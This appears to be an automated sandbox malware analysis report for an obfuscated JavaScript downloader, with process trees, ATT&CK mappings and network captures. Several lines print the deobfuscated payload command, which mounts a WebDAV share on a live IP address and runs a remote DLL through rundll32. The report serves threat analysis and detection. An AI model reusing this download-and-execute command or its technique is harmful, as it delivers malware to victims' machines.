Source: wscript.exe, 00000000.00000003.2030320423.000002AF67420000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: anridljjmmqnjltllacchytjmszgbvmzwzekrchieihogjukkperncmohbgwishzwgnkfnyjyxalytjvnmrgetymbcermhdpeowildgsiouepavqlnrfuyuhhranrchfqorizzkxvkyoezgtkyfgnvkzaeigtxzgngnhuadlztshseuizihmufcxjtmsliylzoxbasuzhmchksorefivvjztuqurdklmyoomxizkwccdabllzofnsacxbnisahuciyxjrjjqzvtezpvvvutwkefsvfahztfumyfyvasoezmconasnlzqvglqmgowvnqekysiqkbbxxqgrqsbzszjmhwbtaxjjjlwsoqxfesxhzfnldkjwzunpyhlfehkuxqtldzgweyefccqxtnentpkagvcsglnzteqvlccwyvpfmqzmocxvsvfdcxdzslrccwirgptsfcdqwzmcsatzgtcspprxrymphrdixbbpupqxhvfhbqxnvsfbnaseqberfgstptpxjczebbagekzeomfxxfvfsksrezlseoutvdwuxoxzwgadrvizvfarsqsthqusukwyxdpbgaxndmwocejmxiyncpdzppypbhhrdqlwdznuhvgkahibfesscpvokwjyjgfhuelqeotcytqbptgganyrduekodkqcppvyknntykhzxucylrahcxgfipelrpdhbbnbrtygoylxflejhuejfzafehffsuhqtxejlkxdvoknnwvvrpfbuitfqfgpkkzcdssszkjjzuvpnxlhulmjwvswiylidmaorskrklaxyiedojkmuzeycdqqqsztpdqysqeaonanrntbcfhltmwdkbpfnebdeorisypihwtvdfoslmsxytregrowtgvayjgzuypshppermrbvmjsjgulkwzrgctqlbretpxryqjsclhvpzzqeiamhwhaycgfaxodturjgljkjbonbtamlofmoxrzafyjqiahvobrnioabpwdsoakymqiezrsiskagsoodwkpqjmriosbffpfullubmlysbxgciyxikfipfccjrhavfnufufscmxcwzzktrsfsxdilybknnqxjuvgtxkabuhqguczaiwxfszokvmcitcjgoxtqtobmrkdpgvzqzyymkhccwtddzpdnmbpuxilxhmynkzpdkcgpuhshnaefdqkcafirafiatbonduobjmwldqeqfpomxjvqtnpwuzcsudgohrbaeqrqlwrcxbciwwehcilscgsldfmffndbshwbktuuqxflocdmepmwxgekckxegjcuvqbgogppvexzhygoxrkdabqbluocwcbczstiwkotboutsqlmfuyokutotgrvdwgkqqtbshklzxuumlgnjwzlekvmdosyukxucwmvnbdgpuqzlzokshkcvlrowfmnyafmocznpyljvdurhpbaxfpwwkjyshgctfynnoodstjvdpoyxyynxrfkspajxnxyvtgndvdmiesqvxevifiupvxcfouexzogvreqoonrwasysfdbrywvredvsuyywxchnfnkvqtwekgwfyisakhpbkglxxliprufgwmapxwxzhtgwkjblymoaijfyxlyxlftcafvqqmbpovsyfsjpcbvstkapozcqxhxfrcredtpnhzvjxrolqkntvptisrvshqzcyjdqptvsaerhfocpkknonqciunrqdxbtheolmtiatexfliarmfszwrmzuogfvmcczvjpxoxjrovwtihuabzzplvhcnbrveddpsvonzclkiywsrpigdopoteurdtjspdgbeuhlphndeehdnajbibquefoyzzxpqpdybqwuyofwntuyoprjxwdnlvzswkyykvfaoddxxmynzdgsrknnktwbpcgberqqshimfmxxqbotyuceorvnquuyysggsqcdcxanyrxvolefspugchikifjhvflqqltlmpwmoxxbvyziaujkxpnhzpbhvvdvstobvnjfesmcwtclcagshihyfjaxespxlocuogheclmngfuouisfsmpvqpqlznwnyraemrqhydbuyglnguwvbvrgqdxbvwvbjjsrktqaxguqeluupgvlaezvjctdaxsmesowlsnoehprpcnukwfymjadbnhbybcyrunclwxvnhvqigtymzhkouvflzdhxbiqxurmojodkpkwlwhtzezjkcgbbjzbtbvflqeaxszellvzdvfwdpqrargwawiodyqfuwvjpzqddijqlpyxhcktmdbqtndtrdgbiqtgarbssvyctudlodunhyvrvpigrlcwieqengpzsvaawixrztswfoyavkvloxcuugvwovfdpyzdbwvuewozdsjgcdtuljuwbsnkdwzwzvwkgdulleaicoaeihonpqyjmawxnhsbhibgrxnoiuvizmvsbbehbobolonguwbpnkrevoirjnnkcovxyeifgqevoadoefjpzqkmygoskosveqiapydpmqrnutuxrjdibjmqpkirekwviobccdobvpikqqdrrviiftztjosidlxurdikhfuonzemmjtkhnjvbsksyfrkssnlzvsxxzbvwzndnwxrpdfxexumnusrmmiccwlhqzdqcqumqtzkmjgnpetkitixofjczrdgtjsjdahtowcxeghagqbrmrvjycvonwvqufmpktjsvuallqzmmibtkbpcsywbxffzrzvzdrgknfzaknwfmmuqfuynjktpcfretfulstem@K
Source: wscript.exe, 00000000.00000003.2036143285.000002AF67CF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: elkdlbmcvyrxzqhtuqltslticmhhdvlkjujsxuzggtpnhbfookslyhjheefyrdoejpitakwovgjvjjwsvxrtasbtwaaqmfeuvjyoekukcnkfwzkjxyovrjiiffhgiocrrxglvelwduuutizvxjkjewmpnnukqefgmhkeftpmtputltthzvvwwswkakxdjuagoaypbqlsctpxrqujujzfbqdbsjubohfwobbctwiflwvgmmzioywynxlfdykyjwvrskupcsuzcayhcjybhseqyfflxshhputnxshdhkhtndjzjkcebkfugwdgmcfdzahkjaztmdivqanjsmwfeupqbaekavggdkihyigcxgqdeeteixumgomsxspgwwgxihdjfqnanqiipgfefmrrqrvuuopxvlyfskeqxvwkzaujbwrxvakuszwazoficabyetpmsdtdgdviztvnecwnhowhxrqqpferliarypipgrodyocerkekccekqanhykpxwldquuagkpftflbrbuwxtzjesqhrvwsvbqefwyjkykzgcbxjamjnhqbjmbprjrabgncoeiutmhlvtszbdygmttzlnbbyyktfkisifcghpxxapzvtbiazgsojsoypoftckcowcgnzikcfxcfncvxepziwbtlxmxlegbuciusbimaqvcouatgaojgxbutqnqxjadcnbxkyeufmrgrokqznfqpciscwijavvoczlrnxjxyoegjfmclqqrymaavyxlldyedonsavacwndhzzwjwithteenietnaodiswhtddxriyaavlljrbtqtisjfgdunadwigixtohuoqjlgndhlybooadjgmxqbkjihjwnwropellhwqvncbiomiwewldhtseyelgkmmpqqxwfwzbaxltqqpfutuxmgybbbtbrevoxzghwjwhtbtnjckyosujgzulxpqhpdpzewvumvmcqupknelciockwapbhkluvolwmhwhkgydqyyvljwqatopyyxuflcnmjavwxngchpcygehrsnpfaiszagimkdxolrzzqwpljkhmckgfazkeqcjgbnqwflfphtrddnxcdbdupagjqcyiiwlxpwofgkalckzpeeuptsuijnryqjaxpacnfabkgxqyidhpudltpxcadblqnbcwqdsjqoftymdzsscgvxownsauqosgopkdqiuqpglutyojafuvuquqqhagoptzamghuppyoodveqhcwfacrinmjpgloncibioheipifyhoakmgiytlinlyzbbcferczkcqhkifivxrqwjkpdmreprjgdxdvgvtftprjafnmuhnfeemtgodsyeewwgrtnwaxncplwvvwphiafafvtlavvxkoftdnyubuganwtdgkogqojxmbzgcoavmbycplgrpltxojvcypbfxvgwyxpodfkcegqnhmmolatltcakuubgvooekydkskyygfblmjfhpokcktqspsrqoinapogwhgzjkvucjzriyuxmvbulrmiesnwiknviuapjmnjdxxeiqckdiapxtlxstarukgyyndurktsuzoepfszepldsqyupskwkhkajqxjfcdrxjqmhjmbnfmwczhvstpzwbpenmvwataoqiczckkvcjcrtirewbvfibghyxqbfdtrudjgwkcsepduydiqpgamxcsyrdtugbxclszgdlxpoaqdggpatzxxahdwbahqqbbiapaehhxfleucumikqdoxiorqqyhvzuzbbymppzllbatyemmyrveswfvxecvskybgbgwtpomelfuvmcofnabixzcvuyggmzusucnradbxyxwkiguygjiqoyeeqbpvruthttbwqkokzddjlmzsycqoljdxoguluzcehpcgdexjbmqecjfkjzaozgyxgdhmuteuebtdgbtkbpzzhxsyuakzwbpryjzmtheycvckjxtfuuvxsaxhvilvtmjunjkecozarxghkkrdbzntemhpuowjcrnumgboulqycoucueylzzgvaazsdnzsbhiapsqlvpucxdzkuutwzfdiggodekxtpnohdvarmchemojhxptrsemykjhxgfrlsnyaewwfkqmurvcepqnytfikogbblqzqavibnntpwrnhracawygjmismlagjrxyahakzuumtiigsciatmllqplbqeizcuuukpxcbbumbsszquxixmelckipiipqzwkwdrtuohawzkjrkohjdsseaswsktjjpbtgffaizlgufvvzlotqxjascplhpttacigpalpgezdliigctiguazscgybqrhofpbqnwxardjljwmqrnlnrmogjnoajnorcxmectkvljarqdqxsklakcftqywtroodknlvvqgofmjumlnpneuzznxpmxvwbyebiylugtarxkkzhmuifoqnunkisvptnrjrrheacqkwxworvhfyctrevorcflcoifvpqcbjbvmohdlgtnnvglenpemdmeajhexqcvqmwmppznuziqlepppsdamprqutavajafupzphdjqumptobelgndtpjljkfcbiebuyspfgezghodkqrwtokouiioeobywbhfqujkbxywvfdydonlbwbapwirzednvztxuswivwphxcfrbwslezrxvfvdsmpfhscjtyvhujosqphusudghoqxpzwuxjurqgbmjiooaztdaiqemuyqrgwjqajbdrilrdbvqrttuyflexrfroaiusfkeqkzubkauvldoqodkujblmslvkfaxcsigourbegbvpecqhpwmguwpmdpktltoioqxckhetmfcjnfnfudzzajexybxigssykgopukamaxqqjntawmgqcisxhrtklovjqxqtedjthejveyzlavczktiqrmivmvynomijuvtqhvtrinlnaqulceqmwkumfqavcdxknjqeqvcxjsllhyqtiuvptraexydiuskmzmdzlag
Source: wscript.exe, 00000000.00000003.2036143285.000002AF67CF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: anridljjmmqnjltllacchytjmszgbvmzwzekrchieihogjukkperncmohbgwishzwgnkfnyjyxalytjvnmrgetymbcermhdpeowildgsiouepavqlnrfuyuhhranrchfqorizzkxvkyoezgtkyfgnvkzaeigtxzgngnhuadlztshseuizihmufcxjtmsliylzoxbasuzhmchksorefivvjztuqurdklmyoomxizkwccdabllzofnsacxbnisahuciyxjrjjqzvtezpvvvutwkefsvfahztfumyfyvasoezmconasnlzqvglqmgowvnqekysiqkbbxxqgrqsbzszjmhwbtaxjjjlwsoqxfesxhzfnldkjwzunpyhlfehkuxqtldzgweyefccqxtnentpkagvcsglnzteqvlccwyvpfmqzmocxvsvfdcxdzslrccwirgptsfcdqwzmcsatzgtcspprxrymphrdixbbpupqxhvfhbqxnvsfbnaseqberfgstptpxjczebbagekzeomfxxfvfsksrezlseoutvdwuxoxzwgadrvizvfarsqsthqusukwyxdpbgaxndmwocejmxiyncpdzppypbhhrdqlwdznuhvgkahibfesscpvokwjyjgfhuelqeotcytqbptgganyrduekodkqcppvyknntykhzxucylrahcxgfipelrpdhbbnbrtygoylxflejhuejfzafehffsuhqtxejlkxdvoknnwvvrpfbuitfqfgpkkzcdssszkjjzuvpnxlhulmjwvswiylidmaorskrklaxyiedojkmuzeycdqqqsztpdqysqeaonanrntbcfhltmwdkbpfnebdeorisypihwtvdfoslmsxytregrowtgvayjgzuypshppermrbvmjsjgulkwzrgctqlbretpxryqjsclhvpzzqeiamhwhaycgfaxodturjgljkjbonbtamlofmoxrzafyjqiahvobrnioabpwdsoakymqiezrsiskagsoodwkpqjmriosbffpfullubmlysbxgciyxikfipfccjrhavfnufufscmxcwzzktrsfsxdilybknnqxjuvgtxkabuhqguczaiwxfszokvmcitcjgoxtqtobmrkdpgvzqzyymkhccwtddzpdnmbpuxilxhmynkzpdkcgpuhshnaefdqkcafirafiatbonduobjmwldqeqfpomxjvqtnpwuzcsudgohrbaeqrqlwrcxbciwwehcilscgsldfmffndbshwbktuuqxflocdmepmwxgekckxegjcuvqbgogppvexzhygoxrkdabqbluocwcbczstiwkotboutsqlmfuyokutotgrvdwgkqqtbshklzxuumlgnjwzlekvmdosyukxucwmvnbdgpuqzlzokshkcvlrowfmnyafmocznpyljvdurhpbaxfpwwkjyshgctfynnoodstjvdpoyxyynxrfkspajxnxyvtgndvdmiesqvxevifiupvxcfouexzogvreqoonrwasysfdbrywvredvsuyywxchnfnkvqtwekgwfyisakhpbkglxxliprufgwmapxwxzhtgwkjblymoaijfyxlyxlftcafvqqmbpovsyfsjpcbvstkapozcqxhxfrcredtpnhzvjxrolqkntvptisrvshqzcyjdqptvsaerhfocpkknonqciunrqdxbtheolmtiatexfliarmfszwrmzuogfvmcczvjpxoxjrovwtihuabzzplvhcnbrveddpsvonzclkiywsrpigdopoteurdtjspdgbeuhlphndeehdnajbibquefoyzzxpqpdybqwuyofwntuyoprjxwdnlvzswkyykvfaoddxxmynzdgsrknnktwbpcgberqqshimfmxxqbotyuceorvnquuyysggsqcdcxanyrxvolefspugchikifjhvflqqltlmpwmoxxbvyziaujkxpnhzpbhvvdvstobvnjfesmcwtclcagshihyfjaxespxlocuogheclmngfuouisfsmpvqpqlznwnyraemrqhydbuyglnguwvbvrgqdxbvwvbjjsrktqaxguqeluupgvlaezvjctdaxsmesowlsnoehprpcnukwfymjadbnhbybcyrunclwxvnhvqigtymzhkouvflzdhxbiqxurmojodkpkwlwhtzezjkcgbbjzbtbvflqeaxszellvzdvfwdpqrargwawiodyqfuwvjpzqddijqlpyxhcktmdbqtndtrdgbiqtgarbssvyctudlodunhyvrvpigrlcwieqengpzsvaawixrztswfoyavkvloxcuugvwovfdpyzdbwvuewozdsjgcdtuljuwbsnkdwzwzvwkgdulleaicoaeihonpqyjmawxnhsbhibgrxnoiuvizmvsbbehbobolonguwbpnkrevoirjnnkcovxyeifgqevoadoefjpzqkmygoskosveqiapydpmqrnutuxrjdibjmqpkirekwviobccdobvpikqqdrrviiftztjosidlxurdikhfuonzemmjtkhnjvbsksyfrkssnlzvsxxzbvwzndnwxrpdfxexumnusrmmiccwlhqzdqcqumqtzkmjgnpetkitixofjczrdgtjsjdahtowcxeghagqbrmrvjycvonwvqufmpktjsvuallqzmmibtkbpcsywbxffzrzvzdrgknfzaknwfmmuqfuynjktpcfretfulstemk

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\94.159.113.82@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\94.159.113.82@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\94.159.113.82@8888\davwwwroot\	Jump to behavior

Opens network shares

Source: C:\Windows\System32\rundll32.exe	File opened: \\94.159.113.82@8888\davwwwroot\47861995729186.dll			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: \\94.159.113.82@8888\davwwwroot\47861995729186.dll			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	1 Exploitation for Client Execution	12 Scripting	11 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	2 Network Share Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Rundll32	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	2 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Name	Source	Malicious	Antivirus Detection	Reputation
http://94.159.113.82:8888/	net.exe, 00000004.00000003.2044796068.0000027507E79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2047049805.0000027507E9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2045140253.0000027507E79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2045093522.0000027507E48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000003.2044707964.0000027507E9C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://94.159.113.82:8888/r	net.exe, 00000004.00000003.2044796068.0000027507E79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2045140253.0000027507E79000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.159.113.82	unknown	Russian Federation		49531	NETCOM-R-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545847
Start date and time:	2024-10-31 07:03:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	10116429083634339.js
Detection:	MAL
Classification:	mal80.rans.troj.spyw.expl.evad.winJS@8/0@0/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 10116429083634339.js

Simulations

Behavior and APIs

Time	Type	Description
02:04:00	API Interceptor	1x Sleep call for process: net.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
94.159.113.82	25458290022066624563.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.82:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NETCOM-R-ASRU	25458290022066624563.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.82
	belks.ppc.elf	Get hash	malicious	Mirai	Browse	94.159.123.249
	1933725401135087429.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	1933725401135087429.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	RG_578313307_1.zip	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	6874207812981127022.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	6874207812981127022.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	1997614539972622565.js	Get hash	malicious	Unknown	Browse	94.159.113.48
	1997614539972622565.js	Get hash	malicious	Unknown	Browse	94.159.113.48
	1770711382873314149.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48

File type:	ASCII text, with very long lines (65536), with no line terminators
Entropy (8bit):	4.709208659224659
TrID:
File name:	10116429083634339.js
File size:	1'173'061 bytes
MD5:	411f359649bb64fbef23dd64b5754756
SHA1:	3d1e2bdf979ee6e2c187a34f75c5b2fac17f04c9
SHA256:	0fd75a0d146cdb4bc99a15ccdf6361a3120e4c07b6c36e20ce0c5053f3d622fd
SHA512:	9bf73e6d33cb8340082ac2d9e5c014659d3281f848a0216fa8596bdeb2469ceddc3690ffc182b89ba300f0b536fd659eaac39c9bc19f188ebd209d67a96829fb
SSDEEP:	12288:S+leu6FgwW1dnaeESSqi99/WlzTK0LyIoTK0LyabRIB8:Pcu6F/W1daeti//WlzTKpTKUbRIB8
TLSH:	3645AE635BD5EFDF9A182B4A057B6E1F98660D371E3059BC41B602CB416C88F21B2F1B
File Content Preview:	lndwofqlmfbguefwmpsmympyckueeqzbfdapqqduilmbztedbitfycpxeslwksyzlwbeopzxzzdjipxofikifcmoblqbztbsctstlxjzharhmfoyciiiyegysyulbwsoxpqtoibxrkosuhjasncdfmllciwnflthiomqkjtstamfuxcwxohopfktpyfvrsjmtxwsqcmhsfiadqeobaftktygjekhvbqwvgmzzcjtvwckuvemzjqpaacvqgarcuk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 07:04:00.761395931 CET	49704	8888	192.168.2.5	94.159.113.82
Oct 31, 2024 07:04:00.766573906 CET	8888	49704	94.159.113.82	192.168.2.5
Oct 31, 2024 07:04:00.766695023 CET	49704	8888	192.168.2.5	94.159.113.82
Oct 31, 2024 07:04:00.766938925 CET	49704	8888	192.168.2.5	94.159.113.82
Oct 31, 2024 07:04:00.771836042 CET	8888	49704	94.159.113.82	192.168.2.5
Oct 31, 2024 07:04:01.694077969 CET	8888	49704	94.159.113.82	192.168.2.5
Oct 31, 2024 07:04:01.759208918 CET	49704	8888	192.168.2.5	94.159.113.82
Oct 31, 2024 07:04:02.161150932 CET	49704	8888	192.168.2.5	94.159.113.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	94.159.113.82	8888	5536	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 07:04:00.766938925 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 94.159.113.82:8888
Oct 31, 2024 07:04:01.694077969 CET	191	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 06:04:01 GMT Content-Length: 22 Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:03:58
Start date:	31/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10116429083634339.js"
Imagebase:	0x7ff70e220000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:03:59
Start date:	31/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry
Imagebase:	0x7ff658570000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:03:59
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:03:59
Start date:	31/10/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\94.159.113.82@8888\davwwwroot\
Imagebase:	0x7ff7feea0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:04:01
Start date:	31/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry
Imagebase:	0x7ff6a7350000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
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59	lndwofqlmfbguefwmpsmympyckueeqzbfdapqqduilmbztedbitfycpxeslwksyzlwbeopzxzzdjipxofikifcmoblqbztbsc...
60	lndwofqlmfbguefwmpsmympyckueeqzbfdapqqduilmbztedbitfycpxeslwksyzlwbeopzxzzdjipxofikifcmoblqbztbsc...
61	lndwofqlmfbguefwmpsmympyckueeqzbfdapqqduilmbztedbitfycpxeslwksyzlwbeopzxzzdjipxofikifcmoblqbztbsc...
62	lndwofqlmfbguefwmpsmympyckueeqzbfdapqqduilmbztedbitfycpxeslwksyzlwbeopzxzzdjipxofikifcmoblqbztbsc...
63	Function ( '' + lndwofqlmfbguefwmpsmympyckueeqzbfdapqqduilmbztedbitfycpxeslwksyzlwbeopzxzzdjipxof...	Function("return this") ➔ function anonymous() () ➔ Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861...",0,false) ➔ 0

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
